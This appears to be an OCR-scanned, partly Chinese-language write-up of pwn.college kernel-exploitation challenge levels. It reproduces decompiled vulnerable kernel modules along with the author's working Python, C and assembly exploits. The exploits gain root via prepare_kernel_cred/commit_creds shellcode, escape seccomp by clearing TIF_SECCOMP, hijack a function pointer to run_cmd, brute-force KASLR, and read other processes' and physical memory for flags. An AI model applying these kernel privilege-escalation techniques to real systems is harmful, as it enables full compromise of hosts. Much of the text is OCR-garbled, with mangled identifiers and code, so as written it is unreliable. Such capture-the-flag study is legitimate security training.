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int _ cdecl init module()

2 {
3 dnted vB; J/ rbp
5 v = filp open("/flag", @LL; BLL};
6  memset(flag, @, sizeof(flag));
7  kernel read(ve, flag, 1281L, v8 + 164);
g8 Tilp close(vd, BOLL);
9 proc_entry = (proc_dir entry *)proc_create{"pwncollege", 43BLL, 8LL, &fops);
18  printk{&unk_F91};

11 printk(&word D98);
12 printk{8unk F31);
13 printk(&unk DCB);
14  printk(8&unk E28);
15  printk{&unk EBE};

)

)

16  printk(&unk ED8);
17 printk(&unk_F98
18 return @;

19 ¥

¥
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[ 2.851729] challenge: loading out-of-tree module taints kernel.

[ 2.854786] ###

[ 2.855245] ### Welcome to this kernel challenge!

[ 2.856423] ###

[ 2.856881] This challenge will misuse the kKernel in a way that will teach you about basic kernel exploitation.
[ 2.8504772] This challenge exposes a simple character device interface through ~/proc/puncollege”.

L 2.861776] You can open, read, write, close this device as you would any other file.

L 2.863845] If you can figure out the password, the character device will allow you to read the flag.

[ 2.866168] Good luck!

[ 4.157351] random: crng init done
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1 ssize t _ fastcall device write(file *file, const char *buffer, size t length, loff t *offset}
2 {
3 siret vs: ff rde
4 char password[16]; // [rsp+8h] [rbp-28h] BYREF
5 unsigned __int64 vB; /S |':p +18h] [rbp-18h]
6

® 7 wi = _ readgsqword{®x2B8u};

® B printk{&unk_D18);

@ 5 v5 ="16LL;

® 18 if ( le=ngth <= 8x18 )

® 11 w5 = length;

‘1 ® 12 copy from user(password, buffer, v5};
® 13 device state[@] = (strncmp(password, "Iyyfouygobfruyml”, @xiBull) == @) + 1;
® 14 return length;

AR

hacker@wm_kernel-security~levell-@:~% echo lyyfruygobfrvyml » fproc/pwncollege
hackerfivm kernel-security~levell-8:~% cat /proc/pwncollege
pun . college{QuC1L5swNSmIauht3MEz wWYATY . 81MyQDLyIDOVY 2}

pwn . college{QUCILSswNSMVIauht3MEZ wWYATY . 8AMyQDLYIDOYYZUY}
man cnl Teoalthir1l SouNSrv T anhEIME7 WA A1MunN] o TH WL
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oid cdecl win{)
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__inted vB; // rax

printk(&unk DF8};
v@ = prepare_kernel cred{@LL);
commit creds(ve);:
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hackerfivm kernel-security~level3-8:~% echo sfuzlmigphywsyfk > /proc/puncollege
hackerfivm_kernel-security~level3-8:~% whoami

root

hackerfivm kernel-security~level3-8:~%

hacker@ivm kernel-security~level3-8;~%

hackerfivm kernel-security~level3-8:~% cat /flag

pun. cullege{I]bvﬂeﬂPNd?qmlzTZudftEUTAIG 1Ny QDL y IDOy Yz}

haclrmemlh o leasen T raremarde TaieaTw e &

4 joctl 3 H

1 L_i nt6d  fastcall device joctl({file *file, unsigned int cmd, unsigned  inté4 arg)
2 4
3 | ipEBd result; /) rax
4 int vs; // r
5 char password[16]; // [rspt@h] [rbp-2Bh] BYREF
6 unsigned __int&d v7; S/ [rsp+l8h] [rbp-18h]
F
8 w7 = _ readgsgword(@x28u);
g printk(8unk E78);
18 result = -1LL;
11 if ( emd == 1337 )
12§
13 copy_from user{password, arg, 16LL};
14 v5 = strncmp{password, “jwerkwvpqgloovazf™, @x16ull);
15 result = @LL;
16 Iff ks
17 {
1 win(};
158 return BLL;
28 1
714 3
22 return result;
23}
py—iti&
RAGIR

import array, fcntl, struct, termios, os

1

2

3 fd = os.open("/proc/pwncollege",os.0_RDWR)
4 print("Opend file as #",fd)

5 os.system("whoami')

6 fentl.dioctl(fd, 1337, b'jwerkvvpqgkxvazf')
7 os.system("whoami')

8 os.system("cat /flag")
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__inth4 _ fastcall device ioctl(file *file, unsigned int cmd, unsigned _ inted arg)

{

__intb4 result; f/ rax

printk(&unk 1118, Tile, cmd, arg);
~esult = -1LL;
if ( cmd == 1337 )

{
({wvoid (*)}(void})arg)(};
return BLL;

}

return result;
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https://github.com/lorenzo-stoakes/linux-mm-notes/blob/master/virt_layout.md

| LEAL | | WOCRAMCL LIMMUC. JLLC = 4 LD
| mapping | |
MODULES VADDR = ffffffffcoeaeees -> |---------------- [

| Module [ ]
| mapping | | 1. 6iB *
| space [ |

FREFFFEFFfoe0eee -» |---------------- | x
|  wvsyscalls | | 8 miB

FRFFFFFfffeeeees -> |---------------- | v
/ !

(BR2/RREY, #E FHEEA)
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1 #include <sys/doctl.h>
2 #include <sys/types.h>
3 #include <sys/fcntl.h>
4
5 int main(){
6 int fd = open("/proc/pwncollege'",0_RDWR) ;
7 if(fd < 0){
8 perror ("open');
< }
10 system("id");
11 joctl(fd,1337,0xffffffffcOOOOOOO + Ox10AD);
12 system("id");
13 system("bash -i");
14 return 0;
15 }

uid=1aéa{hacker} gid=1886(hacker) groups=168886(hacker)
uid=B(root) gid=B{root) groups=8{root)
rootiivm_kernel-security~level5-1:~#



6 Kernel shellcode
B 5cittpractice mode

HIBIR

1

2 hacker@vm_practice~kernel-security~level6-0:~$ sudo cat /proc/kallsyms | gref
3 ffffffff81089310 T commit_creds

4

5 hacker@vm_practice~kernel-security~level6-0:~$ sudo cat /proc/kallsyms | gref
6 ffffffff81089660 T prepare_kernel_cred

RBKASLR, FILAT.
55— 5EBIFEF ker.c

RABIR

#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/fcntl.h>

if(arge < 3){

1

2

3

4

5 dnt main(int argc,char*x argv){

6

7 perror ("ker <file> <cmd> [addr]"); exit(-1);
8

9

}
int fd = open(argv[1],0_RDWR);
10 if(fd < 0){
11 perror ("open");
12 exit(-1);
13 }else{
14 printf("Opened %s as #%i\n", argv[l], fd);
15 1
16 int c;
17 if(sscanf(argv[2],"%u",&c)!= 1){
18 perror ("invalid cmd"); exit(-2);
19 }
20 if(arge >= 4){
21 unsigned long 1;
22 if(sscanf(argv[3],"%1l1lx",&l) != 1){
23 perror("invalid addr"); exit(-3);}
24 puts("ioctl!");
25 joctl(fd,c,1);

26 telse{



27 char buf[4096];

28 int sz = read(0,buf,4096);
29 puts("write!");

30 write(fd,buf,sz);

31 }

32 system("bash -i");

33 return 0;

34 }

miE, G kerpy

IBR

1 dmport array, fcntl, struct, termios, os
2  from pwn import *

3

4 # frffffff81089660 T prepare_kernel_cred
5 # fffffff81089310 T commit_creds

6

7 sh = m"nn

8 xor rdi,rdi

9 mov rax, Oxffffffff81089660

10 call rax

11

12 mov rdi, rax

13 mov rax, Oxffffffff81089310

14  jmp rax

15 e

16

17 context.arch="amd64"

18 shc = asm(sh)

19
20 p = process(["./ker","/proc/pwncollege","1337"])
21 p.send(shc)
22  p.interactive()

hacker@wm kernel-security~levels-8:~% python . /ker.py
[+] starting local process ', /kKer': pid 179

[*] Switching to interactive mode

Opened /proc/puncollege as #3

write!

rootfivm_kernel-security~level6-8:~# % I

id

uid=B{root) gid=B{root) grnup5=a{rnﬂt}_



7 Kernel shellcode2
XRAREEEEE T, Mbsslaliitifalvmallocky = 8], B S 4NEbss_E shellcodets £ HHI{E

1 __inte4 _ fastcall device ioctl(file *file, unsigned int cmd, unsigned __ inte4 arg)
21

3 inted result; // rax

4  size t shellcode length; // [rsp+8h] [rbp-28Bh] BYREF

5  woid (*shellcode execute addr[4])(woid}; // [rsp+8h] [rbp-28h] BYREF

2
7 shellcode execute addr[l] = (woid (*¥{void})_ readgsqword(®x28u};
8 printk{funk 328);
g result = -1LL;
18 if { omd == 1337 )
118
12 copy_from user{&shellcode length, arg, BLL}3
13 copy_from user({shellcode ewecute addr, arg + 4184, BLL);
14 result = -2LL;
15 if { shellcode_length <= @x1066 )
16 {
b 17 copy_from_user(shellcode, arg + &, shellcocdes length);
18 shellcode execute addr[8]();
k18 return 8LL;
28 !
21}
22 return result;
23 }

{&—TFker.cRiocRXEH, ARG

hacker@wm practice~-kernel-security~level7-8:~% sudo cat fsyﬂfmcdulefchallengefEEctiDnEf.h55
BxfFHHffceea244s

[Fafigdb, ( vm debug ), #AIGvm connect, 7£1& HBHRITHT, x—T:

(gdb) x/101x OxFFFFffffcees2440
OxFFFFFFFfcee02440: Bx7c5e40c0 exfFFf8880 8x08085000 exfFffcoeo
OXFFFFFFFfcE002450: 0x08000080 0x08000800 0x08000800 0x08000800

extfTfffffceee246e: Oxoeeeeees Oxeeeeees
(gdb) c

o nde s e -

REEFAIAFT Y

LABIR

import array, fcntl, struct, termios, os

from pwn import *

1

2

3

4 # ffffffff81089660 T prepare_kernel_cred
5 # ffffffff816893160 T commit_creds
6

7

8

9

sh = "mmn

xor rdi,rdi

mov rax, Oxffffffff81089660
10 call rax



11

12  mov rdi, rax

13 mov rax, Oxffffffff81089310

14  jmp rax

15 e

16

17 context.arch="amd64"

18 shc = asm(sh)

19

20 payload = p64(len(shc))+shc.ljust(0x1000) + p64(OxffffcoOOEOO85000)
21

22 p = process(["./ker","/proc/pwncollege","1337"])
23  p.send(payload)

24  p.interactive()

25

8 Seccomp Escape
Userspace Shellcode + Kernel shellcode

REHERFENRIAREO, B

29 for (1 =0; i <= 511; ++i )

30 {

31 it Y O

32 {

33 printf("Allowing syscall: %s (number %i).\n", "write", 1LL);

34

35 else if ( (unsigned int)seccomp_rule_add(v7, eLL, (unsigned int)i, @LL) )

36 {

37 __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, ©) == @", "<stdin>", ©x7%u, "main");
38 }

39}

49  puts("Executing shellcode!\n");

41 if ( (unsigned int)seccomp_load(v7) )

42 __assert_fail("seccomp_load(ctx) == 0", "<stdin>", @x7Eu, "main");
 MEMORY[@x31337660] ()

44  puts("### Goodbye!");

45 return ©;

th 5 2userspace shellcode R 7t iFwrite

debugT, 5tikZEldevice writepRELIthil FMT, AEHMES STA/E,
5t& Teurrent_taskBUE X, #%Ethread_info->flagshI{m#s

AGIR

1 (gdb) ptype /o current_task
2  type = struct task_struct {
/% 0] | 16 x/ struct thread_info {



© 00 N oo U0 »

10
11
12
13
14
15
16

/ * 0 | 8 x/ unsigned long flags;
/* 8 | 4 x/ u32 status;
/* XXX 4-byte padding */

/* total size (bytes): 16 */
} thread_info;
/* 16 8 x/ volatile long state;

(gdb) x &current_task
0x15d00 <current_task>: Cannot access memory at address 0x15d00

ERE-HZE, HEA0, current_tasktBxIgshIfmIZn0x15d00, AREEITFHAIE X (CEREAZ
ARASFNZRA):

https://elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/thread_info.h#L115

AGIR

1

#define TIF_SECCOMP 8 /* secure computing */

MRIE—TILRENA :

IBIR

1 dmport array, fcntl, struct, termios, os
2 from pwn import *

3

4 # ffffffff81089660 T prepare_kernel_cred
5 # ffffffff81089310 T commit_creds

6

7 sh2 = "

8 mov rbx, qword ptr gs:0x15d00

9 and gword ptr [rbx], ~(1<< 8)

10 ret

11 i

12

13 context.arch="amd64"

14

15 shc = asm(sh2)

16 # print(disasm(shc))

17 # payload = p64(len(shc))+shc.ljust(0x1000) + p64(OxffffcoOOOOO85000)
18

19 usrsh = shellcraft.write(3,shc,len(shc))



20 usrsh += shellcraft.open("/flag",0)

21  usrsh += shellcraft.sendfile(1,4,0,0x1000)

22 print(usrsh)

23 ush = asm(usrsh)

24 # print(disasm(ush))

25

26 p = process(["/challenge/babykernel_level8.0"])
27 p.send(ush)

28 p.interactive()

29

9 run_cmd

1 ssize_t _ fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
2 {

3 __inté4 v5; // rcx

4 device_write::$EOE722039EE6959F0A964DO9D15CI3EL *p_logger; // rdi

5 __inté4 v8; // rbp

6 device_write::$E@E722039EE6959F0A964D09D15CI3EL logger; // [rsp+8h] [rbp-128h] BYREF

7 unsigned __inté4 vi11; // [rsp+le8h] [rbp-18h]

8

} 9 v5 = 66LL;

118 vl1l = __readgsqword(@x28u);
11 p_logger = &logger;

)12 while ( v5 )

13 {
)14 *(_DWORD *)p_logger->buffer = 8;
15 p_logger = (device_write::$E@E722039EE6959FPA964D09D15C93EL *)((char *)p_logger + 4);
16 ==Af5;
17

118 printk(&unk_Ace, file, buffer);
)19 logger.log function = (int (*)(const char *, ...))&printk;
120 if ( length > ex1es )

21 §

)22 _warn_printk("Buffer overflow detected (%d < %lu)!\n", 264LL, length);
23 BUG();
24}

125 v8 = copy_from_user(&logger, buffer, length);
126 logger.log |function((const char *)&logger);

} 27 return length - v8;

I 28 }

KEBEHME3| kud2i5< R Gbacktrace, BN FEH Tlog_function

545N
00000000 device write::$EGE722039EE6959F0A964DOSD15CI3EL struc ; (sizeof=0x108, align=0x8, copyof_576)
00800008 ; XREF: device_write/r
eeepeeee buffer db 256 dup(?)
oeeeelee log_function dg ? ; XREF: device_write+4A/w
coeeolee ; device_write:loc_A31/r ; offset

©e0P01e8 device_write::$EBE722039EE6959F0A964D@AD15CI3EL ends

BREBE X AB (shellcode)AFIBIBHEES — T eI LAY, FIBrun_cmd() R %X



static int run_cmd(const char *cmd)
{
char *¥argv:

static char *envpl] = |

"HOME=/",
“PATH=/sbin:/bin: /usr/sbin: /usr/bin”,
NULL
int ret;
argv = argv_split (GFP_KERNEL, cmd, NULL):
if (argv) |
ret = call usermodehelper(argv(0!, argv. envp, UMH WAIT EXEC) :
argv freelargv) :
} else {

ret = —ENOMEM:

return ret;

e

1 A4 X BRI LIRS

ASIR

import array, fcntl, struct, termios, os

from pwn import *

1
2
3
4 # ffffffff81089660 T prepare_kernel_cred
5 # frffffff81089310 T commit_creds

6 # OXTfffffff81089b30 run_cmd

-

8

9

with open("/proc/pwncollege","wb") as f:

f.write(b'/run/workspace/bin/chmod 0777
/flag'.ljust(0x100)+p64(Oxffffffff81089b30))

10 kASLR



1 ssize £  fastcall device write(file *file, const char *buffer, size t length, loff t *offset)
&
1
3 ipted va; S rox
= device write::FEGE722830EEGISOFAASRIDBIDISCO3EL *p logger; // rdi
5 __inted v7; J/J rbp
& device write::$E@E722839EEG959FRATRADBODISCI3EL logger; // [rsp+bh] [rbp-128h] BYREF
7 unsigned _ inte4 v18; // [rsp+lesh] [rbp-18h]
&
9 w4 = B6LL;
18 w18 = _ readgsqword({@x28ul;
11 p logger = &logger;
12 while { v4 )
13: {
14 *{ DWORD *)p_logger-:buffer = 8;
15 p. logger = (device write::$E@EF22839EERISOFBADBADBODISCI3EL *Y({char *}p logger + 4);
16 ——yd
17
18  printk({&unk ES8Y;
19 logger.log function = (int (*)}{const char *, ...})&printk;
28 if [ length > 8x188 )
1y {
22 _warn_printk("Buffer overflow detected (%d < ¥lu)!\n", 284LL, length};
23 BUG();
24}
25 w7 = copy_from_user(&logger, buffer, lengthl};
26 lopgger.log function{{const char *)&logger);
27 | petirn Yength = wis
28 }

[E4#£FT run_cmd, 1E2FF TKASLR, B ET:

RAGIR

1 ffffffffo986b69a9 T printk
2  ffffffffo98689b30 t run_cmd
3 3JEKASLR

4  ffffffff81089b30 run_cmd

/]

FIMEL, ARUIMATINGXRERNE, REIMU ENESEE
EABNBER=FTRGEM1/1689aSMETF T

LABIR

import os, sys
from pwn import *

1
2
3
4 # ffffffff81089660 T prepare_kernel_cred
5 # frfffff81089310 T commit_creds

6 # Oxfrffffff81089b30 run_cmd

-

8

9

args = sys.argv
off = int(args[1])

10 print(off)

11  with open("/proc/pwncollege","wb") as f:



12 f.write(b'/run/workspace/bin/chmod 0777
/flag'.ljust(0x100)+p64(0x89b30 + (off << 20))[:3])

BT AREREEGKIERE, FrAfEbashEE AR

A3IR

1 for i in {0..17}; do python ker.py $i; done

IR AR KillFA R AEXS T

11 Read child memory (/proc/{pid}/mem)
FERT—T, E—IRARIZIME ag..... A EE Torw T

U =5 s NauRer’ S "y 7§ | 5t —n
® hackerfipractice~kernel-security~levelll-8:~% checksec /challenge/babykernel levelll.®
[*] "/challenge/babykernel levelll.g’

Arch: amdsd-64-1ittle
RELRO: Full RELRO
Stack: Canary tound

MX: MX enabled

PIE: No PIE (Bx408028)

mEREFHEZER, R#EFENITshellcode, ToixEEwrite

B HiEtEroot, AEEFHERNTFE (XEBEMX T ptrace Rk, EXRILE!
T /proc/{pid}/mem)

(AETEIZS

import os, sys
from pwn import *

1
2
3
4 # fffffff81089660 T prepare_kernel_cred
5 # frfffff81089310 T commit_creds

6 # OXTFFffffff81089b30 run_cmd

-

8

9

sh = "mmn

mov rdi, qword ptr gs:0x15d00O
10 and gword ptr [rdi], ~(1<< 8)
11
12 xor rdi,rdi
13 mov rax, Oxffffffff81089660
14 call rax
15

16 mov rdi, rax



17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

mov rax, Oxffffffff81089310

jmp rax

sh2 = "nnn
mov rdi, qword ptr gs:0x15d00
and qword ptr [rdi], ~(1<< 8)

context.arch="amd64"

shc = asm(sh)

# print(disasm(shc))

# payload = p64(len(shc))+shc. ljust(0x1000) + p64(0xffffc90000085000)
p = process(['/challenge/babykernel_levelll.1'])

usrsh = shellcraft.write(3,shc,len(shc))

usrsh += shellcraft.open("/proc/{}/mem".format(p.pid+1),0)

usrsh += shellcraft.push(0x404040)

usrsh += shellcraft.sendfile(1,4,'rsp',0x100)

print(usrsh)

ush = asm(usrsh)

# print(disasm(ush))
p.send(ush)
p.interactive()

12 Read Phys Memory

https://Ikliki.github.io/2024/03/27/PwnCollege-SystemSecurity-Kernel/ #level12-0-amp-level12-1
AZEBE—RZnR), Bk Tprintkigitit#iss

AR

O 0o N O U h W N K

=
(o}

#!/usr/bin/env python3
from pwn importx
context.arch = 'amd64'

# OXTrffffff810b69a9 printk
ksc = asm("""
mov rdi,Oxffff888070000000
mov rax,Oxffffffff810b69a9
lea rbx,[rip + label]
mov rbx, [rbx]



11 top_of_loop:

12 cmp rbx, [rdi]
13 je done

14 inc rdi

15 jmp top_of_loop
16 done:

17 push rax

18 push rdi

19 call rax

20 pop rdi

21 pop rax

22 inc rdi

23 jmp top_of_loop
24 ret

25 label:

26 .string "pwn.college"
27 nnny

28

29 usc = asm('"""

30 mov rax,1

31 mov rdi,3

32 lea rsi,[rip + kernel_sc]
33 mov rdx,0xffff
34 syscall

35 ret

36 kernel_sc:

37 nop

38 miy

39 usc += ksc

40

41 with open('12.sc','wb') as f:
42 f.write(usc)

43

44 '

45 cat 12.sc | /challenge/babykernel_levell2.0 || dmesg
46 L I ]

AER? 2R, SFRDERRE

B2
BROEER, FRMOAEZS



